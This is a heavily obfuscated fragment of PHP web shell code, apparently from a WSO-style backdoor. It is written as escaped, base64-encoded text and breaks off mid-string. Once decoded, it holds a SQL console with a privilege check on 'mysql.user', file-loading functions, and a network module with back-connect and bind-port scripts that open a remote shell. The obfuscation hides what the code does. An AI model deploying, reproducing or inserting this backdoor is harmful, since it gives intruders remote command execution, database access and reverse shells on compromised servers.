7\x781ZT1T\143W\x77+P\x47lu\x63\x48V0IHR5cGU9aGl\x6b\x5aGVuIG5hbWU\071cDEgdmFsdW\125\x39\1123\106\x31ZXJ\x35J\x7a48a\1275wdXQgdHl\167ZT1oaWRkZW4\x67bmF\164ZT1wMi\1022Y\x57x1\132T\x30nJz4\070aW5wdXQgdHl\167ZT1\x6faWR\x6bZW4gbm\x46tZ\x541\152IH\132h\142HVlPSc\151LiBod\1071sc\063BlY2\154hbGNoY\x58J\x7aKCR\x48TE9CQ\x55xTWydjd2QnX\123\153gLiInPj\x78p\x62nB1dCB0eXB\154P\127hpZGRlbiBu\131W1lPWNoY\x58\112zZXQgdmF\163d\127U9J\171IuIChpc3Nl\144CgkX\x31B\x50U1\122bJ2NoYX\x4az\x5aXQnXSk/JF9QT\x31\116\125Wyd\152aGFyc2V0J\x310\x36Jycp\x49\1034iJz4KPH\x52kPjxzZW\170lY3Qgbm\106tZT0ndHl\x77Z\x53c+PG9\167dGlvbiB2Y\127x\061ZT0nb\130lz\143Ww\x6eICI7CiA\x67ICB\x70ZihAJ\1069QT1NUWyd\060eXBlJ1\0609\x50Sdte\x58N\x78bC\x63\160ZWNobyAnc2V\163\132WN0ZWQnOwplY2hvICI\x2bT\130lTcWw\070L29\167dGlvbj\x348b3B0aW\071uIHZh\142H\126lP\123\x64w\1323\116xbCcgIj\x73Ka\127YoQCRfUE9\x54\126FsndHlwZSddPT0\x6ec\x47dz\143\127wnKWVjaG\x38\147J3Nlb\107V\152dGVkJzsKZWNob\x79AiPl\102vc3R\x6e\143\155V\x54\x63Ww8L2\071wd\x47\x6cvbj\0648L\x33N\154bGV\152dD48\x4c3Rk\x50g\1578dG\x51+P\107\x6cucHV0IHR5cGU9dGV4dCBu\131W1lPXNxbF9o\1423N0IHZhbHVlPVwiIi\x34gKGV\164cHR5KCRfUE9TVF\163nc\063\x46sX2hvc\063\x51n\130Sk\057J2xv\131\x32\x46saG9\172dC\1436aH\x52t\x62HNwZWNpYWxjaGFycygkX1BPU1R\142J3\116\x78bF9o\1423N0J10pKSAuIl\x77i\120jw\x76dGQ\053Cjx0ZD4\x38a\x575wdX\x51\147dHl\167ZT\x310\x5aXh0I\x475\150b\x57\1259c3FsX2xvZ\x32luI\x48\x5a\150bHVlP\126\x77iIi4gKGVt\143H\1225\113CR\x66\x55E\071\x54VFsnc3FsX2x\x76Z2lu\x4a1\060pPy\x64yb290Jz\160odG1sc3BlY\x32lhb\107NoYXJzKC\x52\146UE\071\x54\x56Fsnc3F\163X2xvZ2luJ10pKSA\165Ilw\151Pj\167vd\107Q\053C\152x0ZD4\070aW5\167\x64XQ\147dH\154\x77ZT\0610ZXh0IG5\150\x62WU9\x633Fs\x583Bhc3Mg\x64mFsd\127U9\130CIiLi\x41oZW1w\x64HkoJF\x39QT1N\x55WydzcWxf\143G\x46\172\x63yddKT\070nJzp\x6fdG1sc3B\x6c\1312lhbGNo\131XJzKCRfUE9TVFsn\1433Fs\x583Bhc3M\x6eXSkp\111C4iXCI+P\10390ZD\064\070d\x47Q+IjsK\103SR\060bX\101g\120S\x41iP\x47lucHV0IHR5\x63GU9d\x47V4dCBuYW1lPXNxbF9\x69YXNl\111HZhbHV\x6c\x50ScnPiI\067\x43g\154pZihpc3Nl\144CgkX\061B\120U1\x52bJ3NxbF9ob3N0J10pKXsKC\x51lp\132igk\132GItP\155Nvbm5lY3Q\157\x4a\1069Q\1241NU\x57ydz\x63\x57xfa\x47\x39\172dCd\144LCA\x6bX1B\x50U1\122\142\112\063Nx\x62F9s\1422\144\x70bid\x64LCAkX1BPU1Rb\1123\x4exbF\071wY\130NzJ10sICR\146U\x45\x39T\x56Fsnc3FsX2Jh\1432UnXSk\x70IHsKCQkJ\x633\x64pdGNo\113\103RfUE9\x54\126\106snY\062hh\143nNl\x64CddKSB7C\147kJCQ\x6cjYXN\154IC\112XaW5kb\x33\x64zLTEyN\x54EiO\x69A\153ZGItPnNl\144ENo\x59\x58JzZXQoJ\062N\x77MTI1MS\143pOyBicmV\150azsKCQkJCWNh\x632\x55gIl\126URi04Ijo\x67JGRi\114T\x35\172\x5aX\122DaGFyc2V0KCd1dG\x59\064Jy\x6b\067I\107JyZWFrO\x77\157JCQkJ\x592\106zZSAiS0\071JOC1SIj\x6fgJGRiLT5zZX\x52DaGFyc2V0K\103drb\062k4cicpO\171Bic\x6dV\150\141zsKCQkJCWNh\x632UgIktP\123Tg\164V\123I6\x49CRk\131i0+c2\1260\1212h\x68c\156\x4eldCgna\x329pOHUnK\124\163gYnJlYW\x737\x43gkJC\121ljYXNlIC\112j\143\104g2\116iI6I\103Rk\x59i0+c2\126\060Q2hh\x63nNl\x64\x43\x67nY\x33\1014\x4e\x6aY\x6eKTs\147\131nJ\154YWs7CgkJ\103X\x30KCQkJJGR\x69\114T5saX\1160RGJzKCk\067C\x67k\112CWVjaG8gIjxzZWxlY3QgbmFt\x5a\x541z\x63WxfYmF\x7aZT48\x623B0aW9uIH\132\150bHV\x6cPS\143\156Pjwvb3\1020aW9uPiI7CgkJC\130d\x6faWxlKCRpdG\126\x74ID0g\x4aGR\x69LT5\155ZXRjaCgpKSB7\103gk\112\103QlsaX\x4e0KCRrZX\x6b\x73ICR2Y\x57x1\x5a\123kg\120SBlY\x57NoK\x43\x52pd\x47VtKTs\x4bC\121\153JCWVjaG8g\112zx\166cHR\x70b24gdmFsdW\1259IicuJ\110Zhb\x48V\x6cLiciICc\165KCR2YWx1\132T0\x39JF\071QT1\x4e\125Wyd\172\x63WxfYm\x46zZ\x53ddP\x79\144zZ\x57xlY3RlZC\143\x36JycpLic+Jy4\153\144\155FsdWU\165Jzwv\x623B\x30\x61W9uPi\x637Cgk\112CX0K\103QkJZ\x57\116\x6fbyAnPC9zZWxlY3Q+JzsKCQl9\103\x67\x6bJZWx\172Z\x53BlY2hvICR0bXA7\103gl9\x5a\127x\x7aZ\x51\157JCW\126\x6aaG8gJ\110Rt\x63DsKCWV\x6aa\1078gIjwvdGQ+C\x67k\x4aCQk\070\144\x47Q+P\x47lu\143\110V\060I\110\x525cGU9c3\126ibWl0IH\x5ahbHVlPSc+Pic\147b2\x35j\142Glj\x61z0nZnM\x6f\132\103\065z\132i\x6b\067Jz4\070L3RkPgogICA\x67\111\x43AgI\x43AgICAgICAgPHRkPjxp\142nB1dCB0eXBl\x50WNoZWNrYm94\x49G5hbWU9\1433FsX2Nv\144W50\x49HZhbH\126lPSdvbiciIC4\147KGV\x74cHR5KCR\x66UE9\x54\126Fs\156c3\x46s\x582N\x76dW50J10pP\171cnO\x69cg\x592h\x6cY2tlZCcpIC4g\x49j4gY2\0711bnQg\144\x47\150lIG\0651\x62WJlc\151B\166\x5aiB\x79b3dz\x50C\0710ZD4KCQkJPC9\060\x63j4K\x43Qk8L3Rh\x59mx\x6c\x50g\x6fJ\x43TxzY3JpcHQ+\x43iA\x67\111CA\x67ICAgICAg\111HN\x66ZGI9JyI\165QGFkZ\110NsYX\116oZ\x58MoJF9QT1NUWydzcWxfY\155FzZSddKS4iJ\172\163K\x49CAgI\x43Ag\111CAg\x49C\101gZ\156\126uY3Rpb2\064\x67\x5anMo\x5aikgewog\111\103Ag\111\103AgIC\x41gICAgICA\x67\x61W\x59oZi5zcWxf\131mFz\x5a\x5352YWx1ZSE\071c1\x39k\131i\x6bgeyB\155Lm\x39uc3VibWl\x30ID0gZnVuY\063Rpb24oKSB7\146TsKICAgICAgICAgICAgICAgI\x43A\x67ICBpZ\151hmL\156\101xKS\x42m\114nA\170Ln\132hbHVlPScnOwo\147I\x43Ag\x49CAgICAgICAgI\x43AgICAg\111\x47\x6cmKGYucDIp\x49\107Yu\143DIud\x6dF\x73dW\x559\112yc\067CiA\x67IC\x41gICA\x67ICAgICAgICAgI\x43A\x67aWYo\x5ai5wMykgZi5wMy\x35\x32\x59Wx1Z\1240\156JzsK\111CAgI\x43A\x67ICAg\x49CAgICAg\111\1100K\x49CAgICAgIC\x41gI\x43A\147f\x51o\112CQlmdW5jd\x47\x6cv\x62iB\x7a\144C\x680LGwpI\x48sKCQkJCW\x51u\x63\x32YucDEudmFs\x64WU\147PSAnc\062Vs\x5aW\x4e\x30JzsK\103Q\x6bJCWQuc2YucD\x49udmF\163\144W\125gPS\1020Ow\157\147I\103AgICAgI\103AgI\103Ag\x49\103\x41gaWY\157bC\101\155JiBkLnNm\114n\101zKSBkLnNm\114nAzL\x6eZhbHV\x6cID0g\142DsKCQkJCWQuc\062Yuc3VibWl\060KC\x6b7Cgk\112CX0KCQkJZnVuY3Rpb24gaXMoKS\x427C\x67kJ\103Q\154mb3Ioa\1240w\1172k8ZC5zZi5\x6cbGVtZW50c1sndGJ\163W\0610\x6eXS5sZW5ndGg7Ky\x74\160\113\121\157J\x43QkJCW\x51uc2\131uZWxlbWVud\x48NbJ3RibFtdJ11b\x61V0uY\062hl\1312tlZ\103A9\111CFk\x4c\x6eNmLmVsZW\061lbnR\172Wy\1440Ymx\142XSddW2ldLmNo\x5aWN\162ZWQ7\103gkJCX0KCQk\x38L3Njc\155\154wdD\064\x69Owo\x4aa\127\131\157\141XNzZXQoJGRiKSAm\112iAk\132GIt\120m\170p\142mspew\157JCWVjaG8gIjx\x69ci8+PHRhYmxlIHdpZ\110RoPT\105wMCUgY2Vs\142\x48B\x68\x5aGRpbmc9\115iBjZ\127x\163c\x33B\x68Y\x32luZz0wPiI7CgkJC\127lmKCFlb\x58B0eS\147kX\061BPU\061Rb\1123NxbF9iYXNlJ10pKXsKC\x51k\x4aCSRkYi\x30\053\143\062\126sZWN0ZGIoJF9QT1NUWyd\172cWxfYmF\x7aZ\x53ddK\x54sKCQkJC\x57Vj\x61G8gI\x6ax0cj4\070dGQgd2\x6ckdG\x679MSBz\144\x48lsZT\060nYm9y\132G\x56yLXRvcDo\x79\x63H\x67gc29\x73a\127Q\147IzY2NjsnPj\170z\143GFuP\x6cRhYmxlczo\070L3NwYW4+P\x47\x4ayP\152\170icj4iO\x77oJ\103QkJJHRi\142H\x4efc\155\x56z\x49D0\147JGRiL\x54\x35saXN\060VGFibGVzKCk7\103gkJCQ\1543aGls\132SgkaXRlb\123A9ICRkYi0+ZmV0Y\062\x67oJHRibH\116fcmVzKS\153\147ewoJCQ\153JCW\170\160\x633QoJGtleS\x77gJHZh\x62HV\x6cKSA9I\107VhY\x32goJGl0\132\1270\160OwogICAgICA\147ICA\x67ICAgI\103AgICAgIGlmKCFlbXB0e\123gk\1301BP\x551RbJ3NxbF\071jb3Vu\144\103ddK\123kKICAgICAg\x49C\x41gI\x43AgICAgICAgICAgIC\101\x67JG4\147PS\x41kZGItPmZl\144GN\157\113CRk\131\1510\053cXVlcnkoJ1NFTEVD\x56CBD\x541VOVCgqK\123Bhc\171BuI\x45ZST00gJy4kdmFs\x64WU\x75Jy\143\x70KTsKC\121kJC\121kkdm\x46sdWUgP\123Bo\x64G\061sc3BlY2l\x68bGN\x6fY\x58\x4azKCR2YWx1\x5a\123k7\x43gkJC\121kJ\132WNo\x62yAiPG\065vY\156I\x2bPGlu\x63HV0IHR5c\107\1259\x4a\062NoZW\116rYm94JyBuYW1lPSd0\x59mx\x62XScgdmF\x73dWU\x39\x4ayIuJHZhbHVl\114iInPiZuYnNwOzxh\111GhyZWY9\111yBvbm\x4es\141WNrPV\x77ic3QoJyI\165\x4a\x48Zhb\x48VlLiInLD\x45p\x58CI+Ii4\x6b\144mFsdW\125uIjwv\131T4iIC4g\x4bGVtcH\1225KC\122fUE9TVF\163nc\063Fs\x582N\x76dW\0650J1\060pPycmb\x6dJzcDsnOiIgPHNt\x59\x57xsPih7JG5bJ\0624nXX0pPC\x39zbWFsbD4iKSAuICI8L\062\x35vYnI+PGJy\120i\x497Cgk\112\x43Ql9\103gkJC\121ll\1312h\x76ICI8a\1275wdXQgdHlwZT0nY2hlY2\164ib3g\x6eIG9uY2xpY2s9J2\x6cz\x4bC\1537Jz4gP\x47l\165cH\x560IHR5cGU9Y\156V0dG9uI\x48Zhb\110VlPS\x64EdW1\x77JyBv\142mNsaW\116r\120\x53\x64kb2N1bW\x56u\144C5zZi5w\115i52YWx\061ZT1\143ImRvd25sb2FkXCI\067Z\107\071jd\1271\x6cbnQuc\x32Y\165c\x33VibWl0\x4bCk7Jz48YnI+Rml\163ZS\102\167Y\130RoO\x6axp\x62nB1\x64C\x420eXBlPXRl\145HQgbm\106tZ\x541maW\x78lIHZhbHVlPSdkd\x571\167\114nNxb\x43\x63\053PC\0710ZD48\x64GQg\143\x33\1225b\107U\071J2J\x76cmR\154\143\15110\x623A6MnB4\111HN\x76\142Gl\153ICM2NjY7Jz\x34iOwoJ\x43Qk\x4aaWYoQCRfUE9TVFsncDEn\130\x53A9PSAnc2VsZWN0JykgewoJ\x43QkJCSRfUE9TVFsncDE\x6eXSA9\x49Cd\x78dWVye\x53c7\103iAgICAgICAgICAgICAgICAgICAgJF\x39QT1NU\x57ydwM\171\x64dID0\x67JF9QT1NUWydwMyddP\x79RfUE9\x54VFsn\143DMnX\124o\170O\x77\157JCQkJCSRkY\x690+cXVlcn\x6boJ1\x4eFTEV\x44VC\x42DT1\126\117VC\x67qKSBhc\171BuIEZ\x53T0\060g\112\x79AuI\103R\x66UE9\124VFsncDInXSk7CgkJCQkJJG51\x62SA9ICRk\131i0+Zm\1260Y\x32go\113TsKCQ\153\x4aCQ\x6b\x6bc\x47FnZX\x4dgPSBjZWlsK\x43RudW1b\11224nXSAvIDMw\113TsKIC\x41gICAgICAgICAg\111\103AgICAg\111\x43B\x6cY2\x68vI\103\1118c2\x4ey\x61XB0PmQ\165c2Yub25z\144W\112\164a\x58Q9Zn\126u\x593R\x70b24oKXtz\x64ChcIiIgL\151Ak\x581BPU1Rb\1123AyJ\x310gLiAiXCIs\x49GQuc2YucDMu\144m\106sdWUpfT\167vc2NyaX\1020\120jxzcGFu\120iIuJF\x39QT1N\125Wyd\x77Mid\144LiI8L3NwYW4+\111Ch7JG51\142VsnbiddfSB\x79ZWNvcmRzKSBQYWdlIC\x4dg\120G\154ucHV0IH\x525\x63\107U9dG\x564dCBuYW\x31lPSd\x77Mycg\144\x6dFsd\127U9Ii\101\x75ICgoaW\x35\060KSRfUE9TVFsncDMn\130Sk\147LiAiPiI\x37CiAgICAgICAgICA\147IC\101gICAgICAgZWNob\x79A\x69IG9\x6dI\103\x52\167\x59W\x64lcyI\067CiAgIC\x41g\x49\103AgIC\101g\x49\x43AgIC\101g\111CA\x67aWYoJF9QT1NUW\x79\x64wMyddID4g\115SkKICAgICAgIC\x41gICAgICAgICAgICAg\x49CAg\132W\x4e\x6fbyAiI\104x\150IGhyZW\1319\x49yBvbmNs\x61WN\x72PS\144zd\103\150\143IiIg\114iAkX\061BPU1RbJ\x33\x41yJ10gLiA\156\x49iwgJ\171A\165IC\x67\x6bX1BPU1\122bJ3AzJ10t\x4dSkgLiAiKSc+Jmx0O\x79\102Q\143mV2P\1039hPiI7CiA\147I\103AgIC\x41gI\103A\x67ICAgICAg\x49\x43AgaWYoJF9\121T1\116UWydwMyddID\167gJHBhZ2VzK\x51ogICAgIC\101g\x49CA\147ICA\x67\x49C\101g\111C\x41\x67\111C\x41gICB\154Y2\x68vI\x43IgPGEgaHJlZj0jIG9\x75\x592xpY2s9J3N0KFw\x69\x49iAuICRfUE9\x54\x56\106sn\143DInXSAu\x49CciLCA\x6e\x49C4gKCRfUE\x39\124VFs\156\143DMn\130SsxKS\x41uI\103\111pJz5OZXh0IC\132ndDs8\x4c2E+IjsKI\x43\x41gICAgICAgICAgICAgICAgI\103AkX1\102PU1\122\x62\1123AzJ10\164LTs\113\x43Qk\x4aCQ\x6cpZigkX1B\x50U1RbJ3R5cGUnXT09J3Bnc3FsJy\153KC\x51\x6bJCQkJJF9QT1NUWyd\167\x4didd\x49D0gJ1\x4e\x46T\105VDVCAqIEZ\x53\12400gJy4kX\x31BPU1\x52bJ\x33A\171J\x31\x30\x75\112yBMSU\x31J\x56CA\x7aM\103BPRkZT\122\x56QgJ\x794\157JF9\121T1N\125\127ydwMydd\x4b\x6aM\x77KTsK\103Q\x6bJCQl\x6c\142H\116lCgkJCQkJC\x53Rf\125E9\x54VFsn\x63D\111\156XSA9\111CdTRUxFQ1\121g\113i\102\107Uk9NI\107\101n\x4ciRf\125E9TVFsncDInXS4\156\x59CBM\x53U1\112VCAn\x4cigkX1BPU1\122bJ\x33AzJ10qMzA\x70LicsMzAnO\x77oJCQkJCWVjaG8g\x49jxi\143j48Y\156I\x2bIjs\x4bCQk\x4aC\x580KCQk\x4aCW\154mKChA\112F9Q\1241\x4eU\127ydwMSd\x64I\x440\071ICdxd\127Vy\x65S\x63pICYmICF\154bX\x420eSgkX1\x42\x50U\x31RbJ\063AyJ10\160\113SB\067\x43gkJCQkJJGRi\x4cT\065xdWVyeS\150\x41JF9QT1NU\x57\171dwMiddKT\163KCQkJCQl\160ZigkZGI\x74PnJl\143y\101hPT0gZmFsc2UpIH\163K\103\x51kJCQ\153JJHR\160dG\x78lID0gZmFsc\062U\x37CgkJC\x51kJCWVjaG8gJzx\x30YWJ\163ZS\x423a\x57R0\x61D\x30xMD\101l\111GNl\x62GxzcGFjaW5nPTEgY2Vsb\110\102h\132GRpbmc9Mi\102j\142GFz\x63z1tYWluIHN0eWxlP\x53J\x69YWNrZ3JvdW5kLWN\x76bG9yOiMyOTI\x35Mj\153iPic7\103\147kJCQk\112CSRsaW5lID0gMTsKCQkJCQkJ\x642hpbGUoJGl\060ZW0\x67PSAkZGItPmZldGNo\113\103k\x70C\x58\163KCQkJCQkJC\127lmKCEkdGl0bG\125pC\130sKC\121kJCQkJCQ\x6clY\x32hvI\x43c8d\x48I+Jzs\x4bCQkJCQkJ\x43Qlmb3JlYW\116oK\x43\122pdGVtIGFzIC\122r\x5aXkgPT\064gJHZh\142HVl\113QoJC\x51\x6bJ\x43Qk\112CQl\x6cY2hvI\x43c8\x64Gg+Jy4ka2V\x35Lic\x38L3Ro\120ic7CgkJCQkJCQkJcmVzZXQoJ\107l0Z\1270pOwoJCQkJCQ\x6bJ\x43SR0aXRsZT\x310\x63nVlO\x77oJCQ\x6b\112CQkJCWVjaG\x38gJzw\166dHI+P\110RyPic7\x43gkJC\121kJ\103\121k\x4aJG\x78pb\155UgPSAy\117woJCQ\153\112CQ\153JfQoJCQkJ\103QkJZWNo\142yAnPHRy\111\107N\163YX\x4ezPSJ\x73Jy4kbGluZS\064nIj\064\x6eO\x77\x6fJC\x51kJC\121k\112JGxpbmUgP\123AkbGluZT\x309M\1248yOjE\067\x43g\x6bJ\x43Qk\x4a\x43\x51l\x6db3\x4alY\x57NoKCR\x70dGVtIG\x46zIC\x52\162ZX\153gPT4\x67JHZh\x62\x48VlK\x53\1027\103g\153J\x43\x51\x6bJCQkJaWY\x6fJ\110Z\150bHVlID09\x49G51b\107\167pC\147kJCQkJCQkJCWVjaG\x38gJzx0ZD48aT5udW\x78s\x50C9pPjwvdGQ\x2bJzsKCQk\x4aCQk\x4a\103QllbHN\154CgkJCQkJ\x43Qk\x4aCWVja\x478gJzx0ZD4nLm5sMmJyKGh0bWx\172cG\126j\x61\127Fs\1312h\150cnMoJH\132hbH\126lK\123kuJ\x7awv\x64G\x51+Jzs\x4bCQ\153JCQkJCX\060KCQkJ\103\121kJCWVjaG8gJz\167vdHI+JzsKCQ\x6bJ\103\121\x6bJfQo\x4aCQk\112CQ\x6c\x6cY2h\166IC\1438L\063RhYmxlPic7C\147kJCQ\x6bJfSB\x6cb\x48\116lIHsKCQkJCQkJZWN\x6fbyA\x6eP\x47R\160d\152\x348Yj5Fcn\x4avcj\x6f8\x4c2I+\111C\143uaHRtbHNwZW\116pYWxjaGFycy\x67kZGItPm\126\171cm9yKCk\160Li\143\070L2Rpdj4nOwoJCQkJCX0K\x43QkJC\x58\x30KCQkJ\x43\x57Vja\x478\x67Ijxicj\x348L2Z\x76cm0+PGZvc\x6d0g\14225zdW\x4ataXQ9\x4a2Quc2YucDEud\155FsdW\x55\071\130\103Jx\144W\x56yeV\167i\x4f2Qu\x632\131\x75cDIu\x64mFs\x64\x57U9dGhp\143y5xdW\x56\171e\x5352Y\x57x1ZT\x74\x6bb2N1\x62WVu\x64C5zZi5zd\x57\112taXQoK\124tyZXR\061cm\064gZ\155F\163c2U\067Jz48dGV4dGFyZWEgbm\x46tZT0ncX\x56lcnkn\x49HN0eWxlP\123d3aWR\x30a\x44oxMDAlO2hl\x61Wd\x6fd\x44oxMDBweCc+I\152sKICAgI\x43AgICAgICAgICAgIGlmK\103\106lb\x58B0eSgkX\x31BP\1251\x52bJ3\101yJ10pICYmICgkX1BP\125\x31R\142J3AxJ\x310g\x49\1240g\x4a2xvYWRm\x61WxlJykpCiAgIC\101gICAg\111\103\x41gI\x43Ag\111CAg\111CAgZ\127N\x6fb\x79B\x6fdG1sc3\x42l\1312lhbGNoYXJ\172KC\122f\x55E9TVFsnc\x44\111nXS\1537CiA\147I\103AgI\103AgICAg\111CAgICBlY2h\166ICI\070L3RleHR\x68cmVhPjxici8\x2b\x50GlucHV0IH\x525cGU9c\x33V\x69bWl\x30IHZhbHVlPSdFeGVjdXRl\112z4\x69OwoJCQkJ\x5a\127NobyAiPC90Z\1044\070L3Ry\120iI7CgkJ\x43X0KCQkJZW\116ob\171A\151PC\x390\x59\x57JsZT48L2Z\x76cm0+PGJyLz4iOw\x6f\147ICAgIC\x41\147\x49CA\x67\111\x43BpZigkX\x31\x42PU1Rb\x4a\x33R5cGUnX\x540\071\112\06215c3Fs\112\x79\x6bgewogICAgICAg\x49CAgICAgICAg\x4aGR\151LT\x35xdW\x56\171eSgiU0VMRUNU\111DEgR\x6cJP\124SBteXNx\142\x4351c2Vy\x49Fd\111RVJFI\x47NvbmNhdChgdXNl\x63m\x41\x73\x49CdAJ\171wg\131Ghvc\x33RgK\123\101\071\111FVTRVI\157KSBBTkQ\147YE\x5ap\142GVf\x63H\x4apdm\101\147PSAneSciKTs\113ICAgIC\x41gICAgI\x43AgI\x43\101\x67I\x47lmKCR\153Yi0+ZmV0Y2goKS\x6bK\111\x43AgICA\147\111CAgI\x43AgICA\x67ICAgI\x43\x42lY2hvICI8Zm\071ybSBvbnN1Ym1pd\x440nZC5\172Zi5wMS52YWx1Z\1241\x63I\155xvYWRma\127xl\130CI7ZG\x39\152d\1271\154bn\x51u\x632Yuc\104IudmFs\x64WU9\x64\107hpcy5m\114nZhbHVl\1172RvY3V\x74\132W\x350LnNm\114nN1Ym1pd\103\x67\x70O\x33JldHVybiBmYWxzZ\124snPjxzcGFuPkxvYWQ\147Zml\163ZTwv\x633B\x68bj4gPGlucHV0ICBjbGFzcz\060n\x64\1079vbHNJbnAn\x49HR\065\x63GU\071dGV\x34dCBu\x59W\x31lPWY+P\107lucHV0IHR\065c\107\x559\1433\126i\x62Wl0IHZhbHVlPSc+\x50ic+P\1039mb3JtP\151I7CiAgIC\x41gICA\147\111CAgIH\x30KCQ\x6bJaWYoQCRfUE9T\126Fsnc\104\x45nXSA9\x50SA\x6e\x62G9h\132G\132\160bGUn\x4bS\102\x37C\x67kJ\x43Qk\153Z\155l\163ZSA9I\103RkYi\x30+b\x479hZEZpbGU\157JF\071QT1NUWydwMiddKTs\x4bCQ\153JCWVja\x478g\112\x7axici8+P\110B\171ZSBjbGF\x7acz\x31tbDE+Jy5od\1071sc3Bl\1312lhbGNoYXJzKCRmaW\x78\154Wydma\x57\x78lJ10pLi\x63\x38L3B\171Z\1244\x6eOw\157J\103Q\x6c9\103gl9IGV\163c2UgewogIC\101gICAgIGV\x6aaG8gaH\122tbHNwZWNpYWxjaGFycyg\x6b\132GItPmVycm9\171KCkpOw\x6f\x67\x49CAgf\121oJZWNobyAnPC9kaXY+J\172\x73KCXdzb0Zv\x623Rlcig\x70\117wp9CmZ1bm\x4e0aW9\165IGFjd\107lvbk\065ldHdvcmsoK\x53B7Cgl3\14329IZWFkZX\x49oKTsKCS\x52iYWN\x72X2Nvbm5lY3RfcD\x30iSXlF\x64\x6dRYTnl\x4dMkpwYmk5d\061pY\x53n\x4eE\x55\130\x41xY\172\x4aVZ\061Uy\x4f\x57phMlYwT3cwS0\160Hb\x47haR1J5UFdsd\x56pY\125mZZWFJ2Ymln\141\x31F\127S\153h\127bHN3WF\x4erZ2ZId2daR2xsS0NKRmNu\x53nZjam9\x6eS\153NG\131\062JpSXBP\x64zBLSk\150CaF\160H\125nlQWE52WTJ0\x61\x46pHUn\x6cYMmx\061S\060NSQl\x56\x72ZFdXek\x5akT\x45NBa2\x46XR\155t\141S\x45lwSUh4OE\x6cHUnB\x61\x55\062dpUlhKe\x57Iz\123TZJQ1\106oWEc\x30aUtU\1430\065D\141VJ\063Y\x32\x305M\x47J6MW5aWFJ\063\131205MGIySj\x56ibU\x5a0WlNnb\x6d\x52HTndKeWs3R\x46Fwe\x6dIyT\156\112aWFFvVT\x415\122FMwVlVMQ\x30JRUmw5Sl\122rVlVMQ0JU\126DBOTFgxT\x6cVVa1ZCVFN3Z\x30pI\x51\156\154iM1\x4a2S1NCOGZ\x44Qmth\x561VvS\127tWeWN\x74OXlP\141UFrSVZ4dUlpazdEU\130\102\x71Y\x6aI1dVpXTjBLRk5QUT\x420\x52l\x5aDd2dK\x53EJoWkdSeU\164TQjhmQ\060JrYVdV\x620lrVnljbTl5\1242lBa0\154We\x48V\x4aaWs3R\106Fwdm\116HVn\x56L\122k5VUkVsT0xDQWl\121\x61VpUVDBOTFJWU\x57lLVHNOQ205\x641\x70XNG9VMVJFVDF\127VU\x78\104QWlQaVpUV\x44BO\x54FJWUW\x6cLVHNO\x51205d1p\x58NG9VMVJFUlZKU\060\170DQWlQaVpUVDBOTF\x4aWU\x57l\x4cVHNOQ25ON\x57Mz\x55\x6dxiU2duTDJ\x4bcGJpOXphQ0F0YVN\152cE93MEtZM\x6eh2YzJVb1U\170U\153VT\126TRwT3\143w\x531k\x79eHZjMl\126vVTFSRVQxV\154V\114VHNOQ21O\x632IzTmxLRk\x35VUkV\x57U1Vp\x61z\x63iOw\x6f\x4aJG\x4apbmR\146\x63\x47\071yd\1069\167P\123J\112\x65\x55V2ZF\150OeUw\x79S\156B\x69\x61Tl3WlhKc0RRb2tVMGhGV\105V3OUlpOW\x6chVzR2Yz\112n\1320xXa2lPdzBL\131VdZZ0tFQkJV\1412R\130SUR3Z01T\1412d\x6ceUJ\x73Z\x55ds\115EtE\122XBPe\x55\1115RFFwM\127MyVWdVMjlqYTJWME93MEtjMjlqY\x54\112WMEt\x47TXNKbEJHW\x44\102sT\x31JWUXNKbE5QU\x54B0ZlUxUl\116S\126UZOTEdkbG\122I\x51n\154i\1151J2WW5sdVl\x58MW\170L\x512\x51w\x57\124\116Bbkt\x54a2d\155S\110d\x6e\127kd\163\x62ElD\x53k\x52Z\126z\125\167SUdOeV\160XRjBaU0J6\x59jJOc\154pYUm\x4eiaU\1533RFFwelpYUnpiM\x6b5y\x59j\x4eCMEtGTXN\x56MDlNW\x44\106OUFE\x77d\105Z\127Q3hUVDE\065U1JWVlRSVUZ\x46U\x6bZJc\x301\124\x61zdEUXBpYV\x631\x610tG\x54XNjM\152\154qYTJG\x611pIS\155ZhVz\122vS\x6b\x56GU\x31I\170W\155JNR\x6aBz\x551U1QlJFUlNY\115EZ\120V1Nr\143ElIeD\x68J\x521J\x77WlN\x42aVEyR\x6e\126kQ0\112\x32Y0d\127dUlIQnZjblJj\131mlJN0RRcHNhWE4wWlc0\142\061V5d3pL\125\060I4ZkNC\1412FXVWdJa05oYm5RZ2JHbHp\x6bR\x31Z1\123\x55hCdmNuUm\x4eiaUk3RF\x46w\1152FHbHNa\x552d4S\x31NCN0RR\x620pZV0\065qWlhCM\x45\x74FTlBUazRzVXl\x72N0RRb0phV1lvSVNna\062NHbGt\121V1p2Y\x321zc\x45tTQ\x6a\x64\105UW9K\x51\061dScFp\x54QWlRMk\x5a1\131\155\x305\115\x45lHWn\132jbXNpSUdsb\125l\104\x5a2h\x61R1ZtYVc1\x62FpDQW\x74jR2xrS1\122zTkN\x6ea0pi\x4d0\x4asY\155\154\103V\106ZFUkpUaXd\160UE\x4ea\122F\121wNU\x39Jan\116O\1212d\162SmIzQmx\151\141UJUVk\126\x53UF\132WUXNJaj\x52tUTA5T1Rp\x53\x54dEUW9KQ1c5d1pXNG\x64VMVJFUlZKU0\x78DSS\164Ka05Q\126G\163\x30\x61\12593MEtDUWxs\x5aUdWaklDUlRT\122\x56ZN\126ENCOG\132DQmthV1Vn\x590\x68Kc\x47JuUW\x64RMDl\x50VGlB\x61VEy\122nVkQ0JsZ\x55dWa\155\122Y\125mx\x4a\x511\112UU\060V\x57TVRGeHV\112\141n\116OQ2drSlkyeHZ\x6aMlV\x6eUTA5T1\x52q\143\0605DZ\062tKWlhocG\122DQXdPdzBLQ1\x67w\x54k\116u\115D0iO\167\x6f\112ZW\116oby\101iPGgxPk5ldHd\166\x63m\x73gd\107\071vb\x48M\070L2\x67xPjxk\x61\x58Y\x67Y2xhc3\x4d9Y29\165dGV\x75d\x444KCTxmb3Jt\111G5hbW\x559J25mc\x43\x63gb25Td\127Jta\130Q\071XCJnKG51\x62Gw\163bnVsbCwn\131\156BwJyx0aGlzLnBv\143n\121\x75dmFs\x64WUpO\063\112ldHVy\x62\151\102mYWx\x7aZTtcIj4KC\x54x\172\x63GF\x75PkJ\x70bm\x51gcG9ydC\1020\x62y\x41v\x59mluL3NoIFtwZ\x58JsXTwvc3\102hbj4\x38YnI\166\x50goJU\107\071ydDogPG\x6cucH\1260IHR5cG\125\071\112\063Rle\x48Q\156IG5h\142WU9J3\102\x76cnQnIHZhbH\126lPScz\x4dTMz\x4eyc+ID\x78\160b\156B\x31d\103\x42\x30eXBlPXN1Ym